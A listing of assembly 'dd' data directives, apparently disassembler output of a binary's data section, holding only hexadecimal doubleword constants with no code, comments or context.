		dd 0EE04CFCEh, 0BC1CE9B5h, 0B6302CD0h, 6AC2F79Bh, 6525763Eh
		dd 63606AB8h, 886B0258h, 0CC6049Bh, 0C7A6988Ah,	91A5E728h
		dd 9DD91F9Fh, 0B298B3Ah, 334A6322h, 1773BB2Ch, 510C0B87h
		dd 46F5CBE3h, 3D92B9EDh, 7C765912h, 0A145D475h,	0BB4B2769h
		dd 0DC9F1E61h, 6A4C98CAh, 98375046h, 95A51C79h,	0DFEC0291h
		dd 29B5AC00h, 9080A6F0h, 0FEA0737Bh, 0A9D676A8h, 7C8EC56Fh
		dd 5AE200DFh, 670D0227h, 74E15BEAh, 0DA1880FCh,	49F797A6h
		dd 9F49BF90h, 0DAEB7CDEh, 74A31A86h, 3A613906h,	3D4A6EF5h
		dd 0B66C10ECh, 3215128Fh, 0F70A3CCCh, 16D17DDAh, 0D3C8B62Ah
		dd 9DE32F5Dh, 0A1FA16BBh, 0F91BE774h, 6FE0883h,	0E5AEE2FAh
		dd 5598115h, 50A7A9A2h,	0A35FD244h, 0D783BE16h,	8E4D9506h
		dd 24600964h, 759BE9DBh, 912D553Ch, 8580F8CCh, 1ED132E5h
		dd 47B2B465h, 0FB4392BCh, 4F5BB8E9h, 5A683C40h,	5CE78DFCh
		dd 17C4699Ah, 5EBE2071h, 56619665h, 0D8EE2785h,	8A74FD2Ch
		dd 0E69E8BF3h, 0F9745E5Bh, 1C2D775h, 2A08D90Fh,	4C77924h
		dd 1B16A723h, 0DD795365h, 39C8B274h, 9FB6B54Fh,	0D3A97AE0h
		dd 0DD44069Dh, 2DAFA52h, 0B5E3612Dh, 88009A5h, 5DD2C7F1h
		dd 25203A61h, 74E7715h,	5E3CC3Bh, 97EA435h, 3A29C970h
		dd 5AB1D14h, 0FABD343Dh, 0FC0295C1h, 0C635CB44h, 0AC335208h
		dd 5F2308B8h, 0D4EE99A4h, 8CE8F3CFh, 0AB83B360h, 0D6F6ED08h
		dd 0F1C97B43h, 1CC51C1Ah, 4F22AE34h, 0C160492Ah, 0F11B6B9Dh
		dd 473541BEh, 4B66D09Ch, 0C1E55637h, 9584E808h,	8938DF2Ah
		dd 1A7E7516h, 78AFE260h, 8EA3427Ch, 89C74273h, 94AD932Bh
		dd 9EF43FACh, 805C15E5h, 0FFDCDCA3h, 6A3CB2C9h,	0DBB6A9A5h
		dd 440D3EA9h, 1291D4B6h, 9264E231h, 4C6DAA53h, 0CADE0F72h
		dd 0D51F0DD0h, 0AC94CAEBh, 2991E845h, 3D7CFB2Dh, 0B712E919h
		dd 0CB15B40Fh, 0F303F7BFh, 0E954F24Ah, 35046252h, 0FB8216EBh
		dd 0D98DAC50h, 0EC277644h, 0EBAA03BFh, 0ACCC0C1Ah, 0A1274497h
		dd 906E1EA5h, 0C4A360h,	0EF198DCDh, 5B57F5ACh, 0F0F4085Ah
		dd 0CC653B6Eh, 0E928CCAFh, 93DA8B72h, 6F0762B2h, 5037A88Eh
		dd 72D53079h, 5F1CA747h, 0E47F14E5h, 4EA08C56h,	1D625A4Dh
		dd 242B2776h, 0D5B2970Eh, 3C961CD1h, 83A48811h,	0F1B9282Ah
		dd 9FDC5EE9h, 0B1F34D3Bh, 0A1A5FF46h, 98429BDAh, 0B2702109h
		dd 38848ADFh, 5032BC3Dh, 0C055A715h, 98309D8Dh,	744E4278h
		dd 0E131D9F6h, 68996443h, 0CA471BAEh, 51FEAFF7h, 396004FBh
		dd 0CD010D71h, 28E3EC1h, 8A7CDE56h, 942BE4B9h, 26BC17F6h
		dd 78483E90h, 5DB50EF0h, 0BEFF403Ch, 17EBAB86h,	99F23FA0h
		dd 4D5FD32Ah, 8AF7AF1h,	0AEF2F90Ch, 668B12DCh, 63E9855Eh
		dd 400C1F58h, 0A29865D9h, 46CD5CDh, 9DED2E32h, 188C8F56h
		dd 0DA385423h, 2CBC7D46h, 0CF0A38A5h, 0ADA2C7F5h, 0D21EFA17h
		dd 0D048F271h, 0E3B648FEh, 9A7FF88Eh, 47FB9F66h, 87A6ABC2h
		dd 60BF6FF4h, 9C82B0B5h, 38B1B7CBh, 76FA83C7h, 5748B628h
		dd 0DF2F9383h, 4595D0C7h, 5F0BE6CFh, 0FFF7514Bh, 0BED0CE59h
		dd 6564F5ADh, 0A933CA5Fh, 5FD31B95h, 604D95BAh,	91348586h
		dd 0CFF141C5h, 0B6CA7A48h, 157B7737h, 57983712h, 9CD7C26Bh
		dd 653220AAh, 8E084570h, 0EA0E8CECh, 599701C2h,	75C0387Dh
		dd 602F3A89h, 6B7ACEC8h, 42EB6E80h, 0A87705E8h,	0DDBA8733h
		dd 4EA67C1Fh, 0A1BACA16h, 30909973h, 2608512Bh,	4180015Ch
		dd 592AF428h, 573073Dh,	315C7F46h, 0FC867C5Bh, 145DA168h
		dd 864DEDEBh, 0CD9270FEh, 9E99E0E4h, 9321BB15h,	8AA37214h
		dd 2D1A3136h, 2C9CAA0Ch, 97142402h, 7AD7A55Ah, 0F7FE7936h
		dd 0EC9B4694h, 605F6115h
		dd 0FEE6D181h, 0D7584F68h, 5079529h, 62AB8B4Dh,	6E57C935h
		dd 0D2089D13h, 2079F458h, 6B0B799Bh, 50D95ABEh,	432E5546h
		dd 0FCB9F594h, 16F13915h, 0CCB34403h, 73F2963Ah, 28576C90h
		dd 0B298D6F1h, 0C515A6Eh, 0A538745h, 2D38DE42h,	4B99A7ECh
		dd 0DEA9F5B4h, 914796Eh, 0EE7221D6h, 0E5144283h, 0FCEC2277h
		dd 425DFA70h, 1BFD2637h, 2E3D32F7h, 9B691FC2h, 20318C71h
		dd 0A4CC8914h, 0EBED2112h, 19531FB7h, 6E72B4A6h, 23AD8D47h
		dd 5FDF1F46h, 9C4FF9Ch,	7582C1h, 9FDF994Dh, 1F585A3Eh
		dd 716511C0h, 0F4767019h, 0BAB5700Ah, 5BE2378Bh, 9F1B6898h
		dd 79D1C99h, 82648336h,	17898FB5h, 8B3CE5AFh, 8C642E4Ch
		dd 0F4CDB913h, 9DB6A502h, 336BD437h, 0D07AFCA6h, 0D9BC90E1h
		dd 0B7E20CEEh, 2084A555h, 61675Ch, 60AE6257h, 676A5ED3h
		dd 1EA6D325h, 6719C50Ch, 0BB2BBFAFh, 500C83B8h,	1488410Fh
		dd 553DF503h, 0C7DA3D37h, 459A5847h, 31D4FE15h,	1F287221h
		dd 33CAB529h, 2A02EA4Ch, 42D8139Dh, 3638C0AFh, 0C90AEA69h
		dd 3130ABEh, 0AF1C62A9h, 0A848E68Fh, 97967677h,	51280F4Dh
		dd 682761A1h, 74D2E523h, 642AAA81h, 3DB3B972h, 0AA18EA14h
		dd 0EF3D7C65h, 0CCF93222h, 0AEF3849Ah, 23BC1FAh, 0CA74088Ah
		dd 0E9D61B6Ah, 0D05F7D46h, 53215C74h, 6F0B8B1Ch, 8F47EC6Eh
		dd 9C20AC3Dh, 147BD816h, 3E536CEFh, 66BFDB6h, 0F3E32BF5h
		dd 0A0D6773Ah, 191EDE0Eh, 0AC4E1BDBh, 0BC339F4Eh, 164CF6E1h
		dd 7D17AE4h, 73892B2Dh,	0BDF312CFh, 0AFDF7249h,	10845349h
		dd 47275AEBh, 48E81B3Dh, 0A113A018h, 9CFAEF63h,	0F1681FF7h
		dd 0E02104DAh, 0C09483F3h, 3AAAC803h, 96D483EFh, 795A6359h
		dd 74BC98F8h, 0D1D99E94h, 0CF10E2AEh, 0DC28261h, 2D19465h
		dd 5550AE86h, 20FCBC10h, 566CB320h, 694BA3B6h, 625E01D0h
		dd 0BD3545D0h, 0B9BC3BEEh, 19174C8h, 4198CC05h,	0DB5FB596h
		dd 51A3B33Eh, 0A43C7A79h, 0F4FD04DDh, 0DF80DB3Dh, 5B053CFFh
		dd 0B6372EF0h, 60C7E1A8h, 49322B1Bh, 0FB1188AEh, 83B11854h
		dd 0EDB78FDFh, 0E61BFEE5h, 0EC226F8Fh, 259F3C6Dh, 70E99C21h
		dd 0F7AD64C8h, 0BAF6C1B1h, 95EA807Ch, 439C57AAh, 29B51897h
		dd 0FAC1C6BFh, 80C613A1h, 5B21B582h, 0F9558499h, 0DE2911CEh
		dd 0E9F54161h, 0D17CDB40h, 7B60B12Ch, 0A8627569h, 0D537F767h
		dd 618A1B46h, 0C9ECBEAFh, 1FF0ADC8h, 43190D6Eh,	3578ADFBh
		dd 5E592348h, 0F22C8626h, 0EF21DEDBh, 7F752C51h, 141290C3h
		dd 0F418D2EDh, 83E8B2FCh, 22B0C8E5h, 7C3FB318h,	0BFF193BAh
		dd 452321AAh, 7E5A701Fh, 6E1FE9C0h, 0EB30B9A4h,	42C0D245h
		dd 490DF706h, 0C1D12551h, 0A35ACE95h, 7FF3E790h, 0D4CFAD47h
		dd 0BB995A4Eh, 88180965h, 9FD1BF79h, 9BF01348h,	0A18C2FAAh
		dd 0AE9E51D1h, 7382959Eh, 57BB6B5Ah, 90C3959Bh,	966BB5E7h
		dd 7A5B771Eh, 677DC39Eh, 33E57391h, 5E1F4FDBh, 2122D6A8h
		dd 724DFC5Fh, 0A004D972h, 0E5E4DA7Ch, 79B377D5h, 0EEA695BEh
		dd 37150Ah, 0AFEDF657h,	8165685Bh, 5785F94Eh, 2D9C9F25h
		dd 5050E558h, 605B4B54h, 0D3ECC174h, 0BA1D9C47h, 8D689FB1h
		dd 6DD8DEB9h, 0A51DA852h, 42950812h, 38ED9A04h,	0BA0D59C2h
		dd 0CC4B505Eh, 0E886844Ah, 0A1A7C462h, 36A93B6Eh, 676F11BBh
		dd 823BCD4Eh, 3EC35A58h, 0B0E2804Ch, 0B6E6D50Dh, 10BF120h
		dd 0D5FDFEF5h, 4553D2C8h, 6045E0ADh, 4B93E264h,	637E2914h
		dd 0B50884A1h, 38698437h, 946BE6Fh, 8FF6DBEFh, 3FA6DC9h
		dd 90DBED4Ah, 0ADD8DBF3h, 7F0EEE31h, 6E3EA71Fh,	64921046h
		dd 0EED409Fh, 25D2334Dh, 1D8FB268h, 778CD618h, 0DC0D70BBh
		dd 0B9C3214Dh, 26D282A2h, 0B32A267Bh, 0B2033D20h, 0C01E415Ah
		dd 0B105D6C0h, 38881EEDh, 0AE892F47h, 0BB2F70FEh, 0F890293Ch
		dd 0F6216FEEh, 0D4C216AAh, 3145C0DBh, 0F47829F2h, 0E5CB2D21h
		dd 7EAD62AEh, 92D02B56h, 1FEC98CAh, 3F4B4414h, 0AD9401E8h
		dd 493D8A46h, 0CE3F3458h, 66FD9F95h, 0E3C2A726h, 0FF681B22h
		dd 0F5218Fh, 0EEAF8F8Fh, 317BCE98h, 0AE197090h,	5837CA26h
		dd 0B670B8A0h, 68AE4CC0h, 4A90685Eh, 552F13C0h,	7C77AB9Bh
		dd 0CA770B89h, 0E86C8DC7h, 546F8AA5h, 97FACD77h, 0B48BD0A5h
		dd 0F239B3D8h, 7A075AF5h, 8129A6D1h, 22F7D1C8h,	0AD4B687h
		dd 0DAA07495h, 60B33DF0h, 83FDA41h, 4AE5E9B4h, 268CB88Eh
		dd 40567B18h, 2465D763h, 484A8B31h, 73A4F323h, 2845A3ACh
		dd 0BC8FBF66h, 67306B5Fh, 6818AF7Ah, 0BAE780C2h, 0F166C176h
		dd 1FB7F7AFh, 0BD286413h, 77C53020h, 0BEF9435Bh, 64CCFD85h
		dd 5BD9BFD4h, 3BF16FEBh, 3F29820Eh, 4F9AA6A5h, 7A995D88h
		dd 0C17576EDh, 35E8145Ah, 8E81351Eh, 0AF412EDEh, 0C572FA81h
		dd 84E3FFBCh, 0CE1FA6BEh, 215F8074h, 0A197766Eh, 0BC7ABB6Ch
		dd 5E6D9B71h, 25C60973h, 0F69FDFD6h, 0FC22AADAh, 8C0D3B4Ch
		dd 97EE7368h, 4668039Dh, 3743D42Dh, 7D3AFD7h, 469B218Ch
		dd 0F1AAA273h, 0E9C72DC8h, 10D47C1Ch, 37FAD03Dh, 0B9416DFDh
		dd 0CA68B0C7h, 86FE9346h, 0C055673Fh, 6F5B7B78h, 0FE66820Bh
		dd 5D122B29h, 5E3EE54Bh, 0CD94EFCCh, 887529BCh,	0E03D7496h
		dd 205DF9A3h, 0EF1BDC81h, 0ECB1E661h, 0D7D4A8E0h, 0CB2F1F7Dh
		dd 68E6CBFFh, 21E17433h, 9CBE21F8h, 2884AF95h, 0CBDC2447h
		dd 4E2798CBh, 0E2F79871h, 1327B08Fh, 0D56E6BC0h, 1C626905h
		dd 0A6344333h, 31DFAA33h, 0CC25FFD1h, 8AB632AEh, 4BEC3DF0h
		dd 0F3CC981Bh, 52A1DF38h, 3FBA1ECh, 0CD6C4795h,	0FFB563EAh
		dd 88502718h, 7372B009h, 76CFE520h, 740F0D65h, 1F506CB8h
		dd 8B1A12A8h, 0E382B0FFh, 24D1D348h, 722A1C1h, 275059F7h
		dd 69C84026h, 5E8DE648h, 0D7BF775Ah, 187B2F14h,	5F8F202Dh
		dd 0DDE985E4h, 0C972F4FEh, 48E3C70h, 0DE64EBFAh, 88E9ADF0h
		dd 0B709AEB8h, 7C7C7F35h, 3960DE06h, 0ED18C204h, 55D3F87Fh
		dd 5AF34BE7h, 0DB2CF7F3h, 0AEAAA940h, 80718FADh, 8415748h
		dd 49F03DE9h, 0F8B6756Bh, 0B3EFF6Ch, 0D56C4805h, 96260565h
		dd 0C2909E36h, 86F5B43Dh, 0D01EEE9Bh, 313BEB30h, 756E92B9h
		dd 0B53E6B26h, 55716D6Eh, 0E9BA1AACh, 807C697Fh, 3F874B28h
		dd 0AFDA9982h, 0E52E4154h, 0E7CEF859h, 0B906FE76h, 971046D8h
		dd 1350B2F8h, 32B1303Ch, 751C4413h, 3465A430h, 0DB783016h
		dd 4331FA9Eh, 48DF9AEDh, 601F6408h, 0B3DDB4F5h,	924209DAh
		dd 48EB1DC1h, 5B0CC1D6h, 88BDB0F9h, 96E29DB4h, 7DA6B888h
		dd 8A66A923h, 351B4531h, 0BEE040DFh, 0E9CF5AC2h, 9C10846Fh
		dd 7ABD85A3h, 6E8F81F9h, 2C8D0C68h, 41E2788Fh, 40774978h
		dd 47BC4FDAh, 8BD287BAh, 2D21347Ah, 52DAFD60h, 0C5E03AF4h
		dd 89F4C1B6h, 0DEE937B4h, 0C2DB7C3Fh, 0CC4873CBh, 0E664AE80h
		dd 96C3D4CCh, 0C6B7EA6Ah, 3F1B29D4h, 45D0D8D9h,	8A965450h
		dd 5AC47ADBh, 0F3114461h, 0D0A2C791h, 0EC78F3EDh, 0D6E552EFh
		dd 4E58D5BDh, 6B92DCF4h, 0E06CDB9Ah, 118D1A86h,	0EF07BC60h
		dd 9136B389h, 0C1E7962Eh, 9C3045F4h, 6DEBB785h,	0C40E81F1h
		dd 0BE0382D8h, 0B886C2EAh, 7F73D871h, 8B622575h, 96951D28h
		dd 2E9518DEh, 4E0D8DADh, 520706C4h, 0E9DFCC52h,	0CACCA89Ch
		dd 0FC7C9CD6h, 95D33DB8h, 795FCACCh, 65A6FFCCh,	773AE62Ah
		dd 0C9091AC7h, 7796FD91h, 749D34D5h, 0C286B03Bh, 0A0DF3E88h
		dd 879403BDh, 0AEB27DD3h
		dd 1FAB1462h, 0DCB66B1Fh, 0E313D9AAh, 0C651B72Dh, 0C34EA2A9h
		dd 44391392h, 0B66CF60Eh, 5278FE32h, 44664CD6h,	0E95823C6h
		dd 73F971B9h, 722DE215h, 520FA877h, 7414A28Ah, 0D9B55038h
		dd 6A527784h, 6BE1D571h, 9B73416Dh, 869A2C8Bh, 0AEA0945h
		dd 0D2321E10h, 7680E734h, 49E4F61Dh, 0F3DCA414h, 753D8B32h
		dd 78C4A133h, 0B2429C2Fh, 0E0A2D1F4h, 8533A286h, 8A2C7FA3h
		dd 28049A85h, 0EF883B12h, 0B914F9E6h, 5B6D3FC9h, 0D3627B11h
		dd 0AF4BBD4Fh, 45F66851h, 6E402D0Dh, 2854FF4Fh,	7260A628h
		dd 1C01312Bh, 827C52EBh, 0C152678Bh, 14949341h,	212DCA8Fh
		dd 0A2D36AF6h, 2B8DB5DDh, 0F7D4AA08h, 9251C60Bh, 9C938CDEh
		dd 552C6F9Ah, 0AA874812h, 0F3E11C7Ah, 4DE39609h, 7BC3E7D8h
		dd 1DAEB492h, 1365FFE3h, 0CFF763F9h, 7957E314h,	233F1E77h
		dd 2F44D785h, 36949EBDh, 297C6471h, 48461D2Ah, 659B9CF7h
		dd 0EBB87A38h, 0BE8128C5h, 0F79CDDB6h, 0D0CEC347h, 1AE246BAh
		dd 0C017EBCDh, 0A6906391h, 494AAA97h, 0F09A655Ch, 0C0B64DF3h
		dd 1158361Ah, 85989BE3h, 0DA80E7A1h, 0B081181Ah, 56EFF185h
		dd 0C40DB2ABh, 0C104177Fh, 0F9FA9F21h, 7862EFE1h, 1CB6022Fh
		dd 9F6E0692h, 0BB098BDCh, 76C8C349h, 0E0ACC2F1h, 0BB6464EEh
		dd 11247937h, 42C847A4h, 0D6069ADBh, 0C92065D9h, 0BECCA0F1h
		dd 4E1C65CCh, 8DA9499Bh, 0A284925h, 1C9194FFh, 2CD66C92h
		dd 0CC6A9CADh, 38C4DD37h, 0FB95524Dh, 887850B4h, 4B2DF711h
		dd 4143F8FBh, 0FEC41F0Bh, 8A77ABC1h, 0E8B839C5h, 0C3E83302h
		dd 0D42A822h, 2FE60F92h, 427D6233h, 41DB957Fh, 14042258h
		dd 0AA4FD335h, 883FFD43h, 0AFB4F31Fh, 224A3807h, 1B7A2603h
		dd 2B40C7h, 0E5443F49h,	0C8220A8Ch, 5DA53FCBh, 56CE8861h
		dd 12EBD1AEh, 86E847ADh, 0C22248E6h, 985B0539h,	0D5F9067Eh
		dd 0C6C3932Dh, 0D3DB241Ch, 65F94CC4h, 0A607B1BFh, 80BD2F75h
		dd 0E66CF4A6h, 0E82FDB0Bh, 92F17995h, 0FAB001C2h, 0C166EE08h
		dd 23D9A01Ah, 0D8A4C421h, 0DBD8A28Fh, 996D43C9h, 95AE86B5h
		dd 84F9749Bh, 584B3C41h, 0C0B60033h, 479B348Bh,	0F7CE868Fh
		dd 0E8C2DF64h, 0A57E2C11h, 0AE361C67h, 5525418h, 1DE543D9h
		dd 9B76150Ch, 60BD5DA5h, 0D660D261h, 0A2E641BDh, 8DD7D40Ah
		dd 0C8D7432Eh, 0B55F4C21h, 51CBD503h, 52D619Ah,	0E0109D32h
		dd 5CE890CFh, 52740D9Ch, 0B5DD2090h, 0CCA750C6h, 0BC958154h
		dd 0AC036CAh, 7A4FA52Ch, 78E693D7h, 325CACE0h, 53C86EDFh
		dd 0CB76BEF4h, 95372035h, 964DCFA5h, 0D1B880B3h, 0D0BEDEF0h
		dd 0F7332A29h, 0B0E94E7Ch, 7E1CD4AAh, 58BDD30Bh, 113744B4h
		dd 0ED24AD75h, 0E28FA502h, 805A1A4Bh, 156E594h,	36E21932h
		dd 0CD29C1D9h, 0CDB4DD66h, 9361A649h, 31CEB379h, 34A8092Bh
		dd 69B330FCh, 0DBDB6516h, 212E3F7h, 0C08725C2h,	7FCEE27Fh
		dd 240B4B9Ch, 4581EA0Bh, 0B073925Eh, 8C782978h,	917A5157h
		dd 0B6452119h, 0A3FEEF3h, 90524FE3h, 5FA2707Eh,	0C8E4ABA7h
		dd 0DF3A3855h, 52F97F9Ah, 0D3A6714Ch, 0A28C635Bh, 9CB768ECh
		dd 103D4EFCh, 0CF34786Ah, 3D0EE807h, 0E17542F5h, 6A0E22CCh
		dd 8E91DCEDh, 9F534519h, 4237B6AEh, 514BE2A6h, 7922D3B6h
		dd 7637B301h, 7492CC9h,	893CB357h, 95AC2779h, 0F87CBF80h
		dd 0DF117C14h, 0C76C882Ah, 1357E48Eh, 8458C1E8h, 0C908AE74h
		dd 2A671AF3h, 0F8ED7092h, 88B5BAF9h, 0F3258F85h, 0AEA0DEE9h
		dd 0D5269BC6h, 11E6BC3Ah, 4F601835h, 945AB705h,	10600EDh
		dd 65574F8Dh, 11DA8F99h, 66ADB465h, 0AA443943h,	4ED6FDA2h
		dd 0E2A7BFFEh, 0D5392248h, 0F0FF18B7h, 0BA6765Fh, 394C45AAh
		dd 9859AA04h, 76E7861h,	335841BCh, 61769A18h, 47C42AC9h
		dd 867FF858h, 7720AA5Ch, 1B721h, 0BF77BD24h, 38B55DDAh
		dd 8980E59Bh, 7F265F1Bh, 0D1A51F8h, 383963C9h, 0EBC0F1ACh
		dd 39C3B4D6h, 0FD445ED6h, 520757E1h, 7142A79Bh,	0FA7B6007h
		dd 8DE19189h, 0F7A8293Eh, 0F2DF590Fh, 66048A19h, 230AA2DFh
		dd 0BBE5E0B4h, 0EE98D96Ah, 673D1573h, 0F12BF1D0h, 779044C3h
		dd 76ADC3C2h, 0C8BC8C44h, 0F14BBFEh, 7AFF036Fh,	195C33EBh
		dd 8D62D442h, 606460E8h, 905AF4FEh, 47AA740Dh, 0FD7AD9ACh
		dd 14E38C4Ch, 0C15412D6h, 470DDF59h, 0E2E641BCh, 566C69D1h
		dd 0B2D924Ch, 0E4C429F4h, 74EF978Ch, 99EAF2C6h,	46332030h
		dd 0B4CB0407h, 1C71D2EDh, 0E9EE0D2Bh, 90C062FCh, 0C9A92242h
		dd 8FFC968Ch, 0F502A9E6h, 0F3DF5059h, 6AF1C1A5h, 45B924A2h
		dd 0EFD5CCEAh, 6358C4FEh, 0C6E99F5Dh, 0B78B2CADh, 50141ADFh
		dd 0DB62AD4Dh, 0B163D730h, 7B5BBB07h, 14374E14h, 0F10A711Bh
		dd 0D1587679h, 0F6149F37h, 910A1EE4h, 9773CEA4h, 0D906DADEh
		dd 8EECBBC3h, 64267D83h, 0D20F4687h, 0A7C9DA9Ch, 82530B53h
		dd 0B1D392C3h, 9E993A65h, 2BC1F519h, 983DC1E2h,	0F3BB406Eh
		dd 0A14D9853h, 0CE5E4004h, 47B94F2Bh, 44AF5C55h, 1E0B27B5h
		dd 9B473A38h, 0C4445D9Fh, 665B0B73h, 8402F291h,	0A484F0FCh
		dd 0BCF545A8h, 0D634C2F2h, 1D66088h, 217061Fh, 767F6E60h
		dd 0F5EB856Eh, 57708E1Fh, 0BF47D02Fh, 0A1DEDE96h, 0B104315Ah
		dd 9FE6E8D1h, 21AED1A2h, 0C767D715h, 0DA4626E4h, 51AEECDFh
		dd 355D06FCh, 3628D703h, 0CEEE2821h, 4F486B38h,	9B9C1127h
		dd 98737FB4h, 0ACBF594h, 0C15B4EB3h, 7C43B54Dh,	0FE2AFE55h
		dd 0E0273C75h, 42426997h, 0B9C1E5DBh, 3948A24Ch, 0F94276AAh
		dd 0C82D930Ch, 12FD0B95h, 0B07037B2h, 5F4C4D06h, 0FE0A81C3h
		dd 3C87EBCAh, 3AF1F3C5h, 0BE06EB91h, 85AEF98Ch,	1E88ED67h
		dd 0DF0B4634h, 67DFB816h, 0B44624E2h, 227F75B5h, 129B0C78h
		dd 9A815F91h, 0DC0B91BFh, 0C571A3A3h, 0C4C66549h, 74312331h
		dd 0C3AACABCh, 4FD3F575h, 8431BADBh, 0EB262D7Ah, 6ADE9A41h
		dd 471293A9h, 19A1302Fh, 0F60E54E1h, 40DEF74Fh,	4ED8951Ch
		dd 0AD820B32h, 0C2CC2E94h, 64EAA03Ch, 913ADA68h, 35B7A8F7h
		dd 0D25B43C3h, 8C47B12Dh, 0A84128EDh, 0F4806F9Ch, 0F9036916h
		dd 48FD9A04h, 463AB11h,	0B5874958h, 0D6A86E00h,	0A40D0D90h
		dd 72763E22h, 0DACC5E38h, 0F13C8630h, 0C964EFA2h, 96EEF8F9h
		dd 20842246h, 5B124A94h, 82B0F02h, 0DB21D357h, 0A82EBE1Bh
		dd 250A7A0h, 5D206B0Dh,	0F40D005Dh, 5E1D71AEh, 8E23437Bh
		dd 200DA7EBh, 7A1891E6h, 5031E8BCh, 95E52041h, 0DB6AF658h
		dd 0CBE9E902h, 0B27CF650h, 0A2A5676Bh, 4F965281h, 6AC1E8Fh
		dd 25B53E2Bh, 87F1F576h, 0C670C3E6h, 0B7CF8274h, 15C215A9h
		dd 88C662Bh, 0AC2FC4CBh, 273D747Fh, 0F6883241h,	76217A37h
		dd 0B318A4C5h, 0CD9B93FAh, 5C904B8h, 0A0C9A740h, 2975427Dh
		dd 8C96D654h, 0BE8B4310h, 0B540580Ch, 0BE6A18B4h, 0AB9350CDh
		dd 0B54A1C0Ch, 6FA58313h, 0B4DE5DF9h, 0FB6C2450h, 0F679DEECh
		dd 0F5D18E3Ah, 0FA2BB74h, 23DF0CCh, 322846C1h, 6D6ABD04h
		dd 21AC07B1h, 0E82D9CEFh, 7D61CA1Ah, 8B7BE055h,	0F69429E4h
		dd 1FE2F07Eh, 545C0582h, 0D835F5DDh, 11BD87DBh,	0BABE24FAh
		dd 397F0F98h, 7EE2C270h, 246D0260h, 0A902A204h,	0DD6032F1h
		dd 84E51A55h, 41762B6Ah, 918C0AC6h, 79F55C3Bh, 0C2134FFEh
		dd 854E7B55h, 0F105B465h, 3263197Eh, 1345507Eh,	2176F3ECh
		dd 82F12877h, 600D4AEEh, 0D71A4275h, 24E999DCh,	2A1C23B7h
		dd 0C6A7234Dh, 3D19540Ah
		dd 7EA01636h, 988E23EEh, 2ECEA19Ah, 0D3939A93h,	9E57F6C9h
		dd 80B0231h, 0A57B18E3h, 621AB57Dh, 127BC742h, 79B9FAA6h
		dd 0A5FFD6B0h, 0C97CA533h, 33F23698h, 15A2BAD1h, 0B3F5FF76h
		dd 606042B6h, 7D117B48h, 94022654h, 0DF1200FEh,	7833667Dh
		dd 21388011h, 920BF26h,	0EE8A0293h, 7FE09B05h, 4FB1967Ah
		dd 4ACEBDCAh, 0B5204A69h, 0A4332F10h, 5CA6F412h, 0AE5A0DE0h
		dd 0F66425FFh, 89BC77C0h, 0A53A02B2h, 0FACEB2CCh, 34823595h
		dd 0CCF12F55h, 0BF8419AAh, 0A8E51824h, 7988FCE1h, 655CFDAAh
		dd 0E9A9135Fh, 8630C9AEh, 44C87602h, 850DDCEBh,	3715822Bh
		dd 0AF2AD97Eh, 17F6D5FCh, 72932CC6h, 5E44FEF9h,	122701F9h
		dd 0D906BBD8h, 1AB9637Fh, 47436650h, 4658A0CDh,	887B44C4h
		dd 15954962h, 0ADAE4E3Ch, 2ECAB7E9h, 1F66B261h,	1E5692F0h
		dd 655A7777h, 0FF79DFADh, 1366D1FDh, 6543F705h,	67772CE6h
		dd 462EF04Dh, 5180742Bh, 0A405A64Ch, 512F44E3h,	8E5DA515h
		dd 20593B36h, 0F0AC4201h, 9D594BCBh, 6C57A552h,	58F0ED79h
		dd 0A95CD996h, 765A2F5Dh, 230DF393h, 9CEF726Dh,	0D178973Dh
		dd 0D1727FD1h, 62DA9E8Eh, 1EBC9594h, 0E5BC7987h, 703A334Ah
		dd 10A99260h, 0B669C099h, 2631F76Ah, 81FC810Ah,	9CD3EB18h
		dd 17C95126h, 0D9FD6518h, 0C2E21DB2h, 740D7528h, 4737D411h
		dd 7E02F06Ch, 3C4FCC5Ah, 3A49B5DBh, 0FDA564F1h,	0D1F43D2Fh
		dd 3AB1CFAAh, 0B4B8473Bh, 1B7031A2h, 22F78C63h,	25D0BA53h
		dd 23CDD597h, 99C4D5D2h, 0FB2C70C4h, 0BB8C8451h, 0FF8C9BD9h
		dd 0C5E16681h, 0EDB1F0FFh, 2B49E1FEh, 37732F59h, 0B5BF7CE2h
		dd 680E43DFh, 6D112B94h, 4B1AEE2Fh, 0E0CE1C05h,	732B75E8h
		dd 6BEB12BCh, 4E062896h, 4CC547CBh, 387418CBh, 5C6F0E18h
		dd 77230CF1h, 5A8FE6E1h, 3FBC7C6Fh, 443FDC6Eh, 0FDB7589h
		dd 6CB84AFDh, 5EE6BD6Ch, 0A4DD2BA3h, 7399C7E6h,	57033CEh
		dd 5B7E924Eh, 6DDCCEEEh, 1FBC7989h, 59809FBCh, 254B267Eh
		dd 921EE38h, 583F5AC3h,	0EBD02BD2h, 418284E8h, 0E07A7614h
		dd 61B6CB2Eh, 646F86F4h, 8505AA07h, 37ABD3Dh, 0F0D011DBh
		dd 177504EBh, 31C1FF7Dh, 0C346DEC4h, 0CB18CFB9h, 0B3B62AD9h
		dd 0C8DDE03Ch, 38C46F7Fh, 66A13D78h, 266A300Ch,	0A1FBAAA9h
		dd 2DA5FB3Ch, 0C7B2105Eh, 0CE403220h, 486E8362h, 7AC0A547h
		dd 0D6BF7C81h, 0F8E5C01Ah, 13BB76F5h, 0AC51B8DEh, 7C4D75C7h
		dd 7619DC98h, 1D9B3DFDh, 9B4C9C68h, 1C9D077Dh, 4D2D2996h
		dd 8C69D6D4h, 998308DEh, 0AC17F385h, 1A1360E0h,	80B954C3h
		dd 9FD85C7Bh, 19092A7Fh, 0FD21F261h, 9779C120h,	0CEB5A473h
		dd 0D417D6B3h, 0FE5076Ah, 43F90338h, 61266ADCh,	3F40D69Bh
		dd 3CE3E218h, 0D46AC1h,	1CF1D035h, 50D51514h, 0D1BE11Bh
		dd 0FB71917Ch, 0F6A0E489h, 0F5E8F143h, 9A0BE5Ah, 1624098Ch
		dd 782EC945h, 622FCD44h, 61CD28B5h, 2BF6F2E4h, 0CCF83064h
		dd 67A06AF3h, 505D79F6h, 263DC8BFh, 5221899h, 3E6758B8h
		dd 117C9345h, 0F6CDE481h, 582DEC92h, 56DC41Bh, 99A97DC5h
		dd 0DDC146A5h, 38B4080Eh, 3726DB62h, 78E17228h,	1C3531D0h
		dd 6ECB4B68h, 977C7D87h, 0DAFDD0CDh, 604D8D56h,	238DE03Ch
		dd 0C54CC9DAh, 0C34951BFh, 9947460Fh, 2E8C0DF9h, 14C08661h
		dd 1432A729h, 3367900Dh, 3320D4FBh, 0F7852AE0h,	619FB6B0h
		dd 933C91D8h, 93D12E7h,	0CE0F2B30h, 8EE1D707h, 3995B55Ch
